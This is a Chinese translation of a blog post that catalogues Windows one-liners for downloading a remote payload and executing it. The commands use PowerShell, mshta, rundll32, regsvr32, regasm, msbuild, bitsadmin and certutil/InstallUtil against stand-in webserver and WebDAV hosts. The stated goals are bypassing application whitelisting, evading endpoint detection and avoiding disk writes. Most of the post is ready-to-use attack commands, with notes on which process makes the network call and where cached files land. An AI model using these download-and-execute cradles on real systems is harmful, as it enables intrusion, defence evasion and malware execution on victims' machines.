[翻译]windows下载远程payload并执行

在最近使用DDE执行任意命令并最终攻破一个系统后,我询问自己”攻击者还有比一行powershell更酷的命令吗”?

这些命令需要满足以下的先决条件:

  • 能执行任意代码 – 弹出calc.exe确实很酷,但有其局限性
  • 能从远程服务器上下载payload – 因为你的控制端可能不是一个命令行
  • 能通过代理 – 因为现在哪家公司不使用web代理进行传出流量?
  • 尽可能使用标准或广泛化的微软二进制文件 – 因为你想这个命令在尽可能多的系统上使用
  • 对EDR(端点检测与响应)友好 – Office派生cmd.exe已经是个不好的迹象,但是powershell.exe或cscript.exe从网上下载东西呢?
  • 只在内存里工作 – 因为当你的payload写入磁盘时,可能被防护软件查杀

许多人已经做了很多有用的工作,尤其是@subTee,关于应用程序白名单绕过,这确实是我们最终想要的:通过微软内置的二进制程序来执行任意代码

首先要清楚的是,不是所有命令都能满足上述要求.尤其是”不写入payload到磁盘”,因为大部分情况下下载的文件会保存到本地缓存中.

当从远程服务器下载payload时,有3种情况:

  1. 该命令接受一个HTTP URL
  2. 该命令接受一个UNC路径(指向WebDAV服务器)
  3. 该命令能执行一小段脚本,通过脚本来下载payload

根据windows版本(7,10),通过HTTP下载的文件将保存于IE本地缓存里,位于以下位置:

1
2
C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>

另一方面,通过UAC从WebDAV获取的文件将保存在WebDAV客户端本地缓存中,

1
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

使用UNC路径下载文件前需要确保WebClient服务开启.如果没有启动的话,为了在低权限用户下启动它,只需要使用pushd \\webdavserver & popd即可.

在下面的场景中,我会提到哪个进程被视为执行网络通信,以及payload被写在磁盘上的位置.

Powershell

这是最知名也最易受到监控的一种方式.

1
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
  • 进行网络通信的进程:powershell.exe
  • 写在磁盘上的位置:不写入

你也可以从WebDAV直接执行payload:

1
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
  • 进行网络通信的进程:svchost.exe
  • 写在磁盘上的位置:WebDAV客户端本地缓存

Cmd

当你可以用cmd.exe执行批处理的时候,为什么还要让事情变得复杂?尤其是当批处理不仅能执行一系列命令,还能嵌入任何文件类型(脚本,可执行文件,任何你能想到的).可以看看我的Invoke-EmbedInBatch.ps1(深受@xorrior的启发):

https://github.com/Arno0x/PowerShellScripts

所以,如果你将payload作为批处理,请执行以下操作:

1
cmd.exe /k < \\webdavserver\folder\batchfile.txt

(batchfile.txt)是位于WebDAV服务器上的批处理payload

  • 进行网络通信的进程:svchost.exe
  • 写在磁盘上的位置:WebDAV客户端本地缓存

Cscript/Wscript

这也很常见,

1
cscript //E:jscript \\webdavserver\folder\payload.txt
  • 进行网络通信的进程:svchost.exe
  • 写在磁盘上的位置:WebDAV客户端本地缓存

Mshta

Mshta和Cscript/Wscript属于同一家族,但是它增加了执行脚本的能力.

1
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
  • 进行网络通信的进程:mshta.exe
  • 写在磁盘上的位置:IE本地缓存

更简单的方式是,mshta接收一个URL作为参数来执行HTA文件,

1
mshta http://webserver/payload.hta
  • 进行网络通信的进程:mshta.exe
  • 写在磁盘上的位置:IE本地缓存

下面的命令也能工作,并有隐藏下载的文件的优点,

1
mshta http://webserver/payload.hta
  • 进行网络通信的进程:svchost.exe
  • 写在磁盘上的位置:WebDAV客户端本地缓存

Rundll32

指向标准DLL的UNC路径,

1
rundll32 \\webdavserver\folder\payload.dll,entrypoint
  • 进行网络通信的进程:svchost.exe
  • 写在磁盘上的位置:WebDAV客户端本地缓存

rundll32也可以用于调用jscript脚本,

1
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
  • 进行网络通信的进程:rundll32.exe
  • 写在磁盘上的位置:IE本地缓存

Regasm/Regsvc

Regasm和Regsvc是@subTee发现的绕过应用程序白名单的技术之一.你需要创建一个特定的DLL文件(可用.Net/C#写),然后通过WebDAV调用,

1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
  • 进行网络通信的进程:svchost.exe
  • 写在磁盘上的位置:WebDAV客户端本地缓存

Regsvr32

第一种,

1
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
  • 进行网络通信的进程:regsvr32.exe
  • 写在磁盘上的位置:IE本地缓存

第二种,

1
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
  • 进行网络通信的进程:svchost.exe
  • 写在磁盘上的位置:WebDAV客户端本地缓存

Msbuild

注意,它将需要使用在shell种使用ENABLEDELAYEDEXPANSION(/ V选项),

1
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
  • 进行网络通信的进程:svchost.exe
  • 写在磁盘上的位置:WebDAV客户端本地缓存

也可以使用其它方式下载文件,然后用msbuild.exe来执行.

bitsadmin

1
cmd.exe /c bitsadmin /transfer d90f http://site.com/a %APPDATA%\d90f.exe&%APPDATA%\d90f.exe&del %APPDATA%\d90f.exe

注意,bitsadmin不支持使用代理.

组合命令

例如,使用certutil下载payload,

1
certutil -urlcache -split -f http://webserver/payload payload

组合多条命令到一起,使用InstallUtil.exe执行DLL的payload,

1
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

能实现相同效果的可能还有很多其他的方法,但是这些命令满足了我们在文章开头提到的大部分先决条件!

Payloads源码示例

上述的所有命令都需要特定的payload,

  • mshta,rundll32,regsvr32使用的各种脚本(.sct)
  • HTML应用层序(.hta)
  • MSBuild inline tasks (.xml or .csproj)
  • InstallUtil,Regasm/Regsvc使用的DLL

你可以从@redcanaryco的Github仓库中取得这些源码:

https://github.com/redcanaryco/atomic-red-team

也可以用GreatSCT自动生成:

https://github.com/GreatSCT/GreatSCT

或者从我的gits上获取其它示例:

https://gist.github.com/Arno0x

Refer

https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/